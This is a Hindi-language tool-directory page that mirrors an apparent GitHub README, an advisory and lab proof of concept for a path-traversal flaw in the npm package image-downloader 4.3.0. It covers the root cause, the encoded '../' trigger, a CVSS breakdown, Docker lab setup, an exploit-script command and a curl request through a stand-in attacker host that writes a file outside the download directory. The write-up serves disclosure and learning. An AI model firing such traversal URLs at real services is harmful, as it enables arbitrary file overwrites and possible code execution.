Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-103648 — CVE-2026-103648 के लिए एडवाइज़री और PoC, जो image-downloader 4.3.0 में एक पाथ ट्रैवर्सल (CWE-22) है जो मनमानी फ़ाइल राइट की सुविधा देता है, साथ में रूट-कॉज़ विश्लेषण, पैच डिफ़, और Docker लैब। | Kitploit
उपकरण/GitHubGitHub/eternullsec/cve-2026-103648
भेद्यता स्कैनरभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेपर और शोधलर्निंग और शिक्षारेड टीमिंगलैब और अभ्यास
GitHubeternullsec/cve-2026-103648

CVE-2026-103648

CVE-2026-103648 के लिए एडवाइज़री और PoC, जो image-downloader 4.3.0 में एक पाथ ट्रैवर्सल (CWE-22) है जो मनमानी फ़ाइल राइट की सुविधा देता है, साथ में रूट-कॉज़ विश्लेषण, पैच डिफ़, और Docker लैब।

23118 दिन पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-103648 — image-downloader में पाथ ट्रैवर्सल

CVE CVSS CWE Package Status License

खोजकर्ता: Amirhossein Roustaei (@EterNullSec) — Eternull Security

📖 पूर्ण तकनीकी राइटअप: eternull.net/posts/cve-2026-103648-image-downloader-path-traversal

⚠️ केवल शैक्षिक उद्देश्यों के लिए। यह रिपॉज़िटरी एक ज़िम्मेदारीपूर्वक प्रकट की गई भेद्यता का दस्तावेज़ीकरण करती है। सभी PoC कोड केवल अधिकृत सुरक्षा अनुसंधान और पृथक लैब वातावरण में परीक्षण के लिए हैं। उन सिस्टम के विरुद्ध उपयोग न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।


📋 एडवाइज़री सारांश

फ़ील्डविवरण
CVE IDCVE-2026-103648
NVD प्रविष्टिnvd.nist.gov/vuln/detail/CVE-2026-103648
CVSS v3.1 स्कोर9.1 क्रिटिकल — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
CWECWE-22: किसी पाथनेम को प्रतिबंधित निर्देशिका तक सीमित करने में अनुचित सीमा
पैकेजimage-downloader (npm) — demsking द्वारा
साप्ताहिक npm डाउनलोड~11,000 (~38,000/माह) — स्रोत
प्रभावित संस्करण< 4.3.1 (4.3.0 सहित सभी संस्करण)
ठीक किया गया संस्करण4.3.1
आवंटनकर्ताGitLab
प्रकाशित2026-10-02
रिपोर्टरAmirhossein Roustaei (@EterNullSec), Eternull Security

🔬 तकनीकी मूल कारण विश्लेषण

यह भेद्यता [email protected] के फ़ाइलनाम-निष्कर्षण लॉजिक में है। यह प्रभावित संस्करण का वास्तविक स्रोत है (index.js, सीधे प्रकाशित npm पैकेज से लिया गया):

// [email protected] — index.js (actual source, unmodified)
module.exports.image = ({ extractFilename = true, ...options } = {}) => {
  if (!options.url) {
    return Promise.reject(new Error('The options.url is required'));
  }
  if (!options.dest) {
    return Promise.reject(new Error('The options.dest is required'));
  }

  if (extractFilename) {
    if (!path.extname(options.dest)) {
      const url = new URL(options.url);
      const pathname = url.pathname;
      const basename = path.basename(pathname);          // ❌ basename BEFORE decode
      const decodedBasename = decodeURIComponent(basename); // decode happens AFTER

      options.dest = path.join(options.dest, decodedBasename); // path.join resolves ".."
    }
  }
  // ...
  return request(options);
};

सटीक बग

  1. path.basename(pathname) को अभी भी प्रतिशत-एन्कोडेड URL pathname पर कॉल किया जाता है। %2e%2e%2fpwned.sh जैसे अनुक्रम में कोई शाब्दिक / नहीं होता, इसलिए path.basename() पूरी चीज़ को एक ही फ़ाइलनाम मानता है और उसे बिना बदले लौटा देता है — कुछ भी हटाया नहीं जाता।
  2. परिणाम को फिर decodeURIComponent() के माध्यम से भेजा जाता है। यही वह चरण है जो %2e%2e%2f को वापस शाब्दिक ../ में बदल देता है — लेकिन अब तक वह उस basename चरण से बच चुका होता है जिसे इसे सैनिटाइज़ करना था।
  3. path.join(options.dest, decodedBasename) को ऐसी स्ट्रिंग के साथ कॉल किया जाता है जिसमें अब एक वास्तविक ../ खंड है। path.join() .. को उसी तरह सामान्यीकृत करता है जैसे cd .. करता — इसलिए अंतिम राइट पथ options.dest के बाहर किसी स्थान पर पहुँच जाता है।

संक्षेप में: कोड फ़ाइलनाम को सही तरीके से डिकोड करता है, बस path.basename() के सापेक्ष गलत क्रम में। डिकोड-फिर-basename सुरक्षित है; basename-फिर-डिकोड नहीं।

न्यूनतम ट्रिगर

URL pathname:  /%2e%2e%2fpwned.sh
basename():    "%2e%2e%2fpwned.sh"        (unchanged — no literal '/')
decode:        "../pwned.sh"              (traversal now literal)
path.join(dest, "../pwned.sh")
            → resolves one directory ABOVE dest

CVSS विश्लेषण

Attack Vector:       Network   (AV:N)  — remotely triggerable
Attack Complexity:   Low       (AC:L)  — no special conditions
Privileges Required: None      (PR:N)  — no authentication needed
User Interaction:    None      (UI:N)  — fully automated
Scope:               Unchanged (S:U)
Confidentiality:     None      (C:N)
Integrity:           High      (I:H)   — arbitrary file write
Availability:        High      (A:H)   — overwrite critical files / DoS

🎯 आक्रमण मॉडल

यह लैब पुनरुत्पादन की सुविधा के लिए एक ही स्क्रिप्ट में बग के तंत्र को शुरू से अंत तक प्रदर्शित करती है, लेकिन वास्तविक दुनिया के आक्रमण मॉडल को स्पष्ट रूप से बताना उचित है:

  • पीड़ित: कोई भी एप्लिकेशन जो image-downloader के download.image({ url, dest }) को ऐसे url मान के साथ कॉल करता है जिसे उसने स्वयं पूरी तरह नियंत्रित नहीं किया — जैसे कि उपयोगकर्ता द्वारा सबमिट किया गया URL (अवतार/छवि आयात सुविधाएँ), वेबहुक पेलोड से निकाला गया, या RSS/सामग्री फ़ीड से पढ़ा गया।
  • आक्रमणकर्ता: उस HTTP सर्वर को नियंत्रित करता है (या उस पर रीडायरेक्ट कर सकता है) जिसकी ओर पीड़ित का url इंगित करता है, और उस URL के पथ घटक को नियंत्रित करता है — जो अपने आप में पर्याप्त है, क्योंकि ट्रैवर्सल URL पथ (%2e%2e%2f...) में निहित है, प्रतिक्रिया बॉडी में नहीं।
  • प्रभाव: पीड़ित प्रक्रिया आक्रमणकर्ता की पसंद की फ़ाइल को आक्रमणकर्ता की पसंद के पथ पर लिखती है, डेवलपर द्वारा इच्छित निर्देशिका के बाहर — व्यापक फ़ाइलसिस्टम एक्सेस के साथ चलने वाले कंटेनरों या स्क्रिप्ट्स में, यह नियमित रूप से कोड निष्पादन तक बढ़ जाता है (जैसे कि किसी cron फ़ाइल, authorized_keys फ़ाइल, या किसी ऐसी एक्ज़ीक्यूटेबल को ओवरराइट करना जिसे ऐप बाद में चलाता है)।

exploit/exploit.py में, लैब की सुविधा के लिए आक्रमणकर्ता और पीड़ित की भूमिकाओं को एक ही स्क्रिप्ट में समाहित किया गया है (यह "पीड़ित" सर्वर अनुरोध और आक्रमणकर्ता-नियंत्रित पेलोड सर्वर दोनों को खड़ा करता है)। वास्तविक शोषण परिदृश्य में ये दो अलग, असंबंधित पक्ष होते हैं — PoC को इस तरह से संरचित किया गया है ताकि भेद्यता एक ही कमांड से पुनरुत्पादनीय हो सके।


🧪 लैब वातावरण सेटअप

पूर्वापेक्षाएँ

  • Docker और Docker Compose या Node.js v18+
  • Python 3.x (exploit स्क्रिप्ट के लिए)

विकल्प A — Docker (अनुशंसित)

git clone https://github.com/EterNullSec/CVE-2026-103648.git
cd CVE-2026-103648
docker compose up --build

The vulnerable server will be available at http://localhost:3000.

विकल्प B — मैन्युअल Node.js

cd vulnerable-app/
npm install
node server.js

💥 पुनरुत्पादन के चरण (PoC)

चरण 1 — भेद्य सर्वर प्रारंभ करें

cd vulnerable-app/
npm install
node server.js
# Server running on http://localhost:3000
# Download directory: /tmp/downloads/

चरण 2 — एक्सप्लॉइट चलाएँ

python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1

या मैन्युअल रूप से curl के साथ (ट्रैवर्सल URL पथ में है, प्रतिक्रिया निकाय में नहीं):

curl "http://localhost:3000/download?url=http://attacker.com/%2e%2e%2f%2e%2e%2ftmp%2fpwned.txt"

चरण 3 — ट्रैवर्सल सत्यापित करें

# Check that the file landed OUTSIDE /tmp/downloads/
ls -la /tmp/pwned.txt
cat /tmp/pwned.txt

📸 निष्पादन का प्रमाण

$ python3 exploit/exploit.py --target http://localhost:3000 --lhost 127.0.0.1
टूल डाउनलोड करें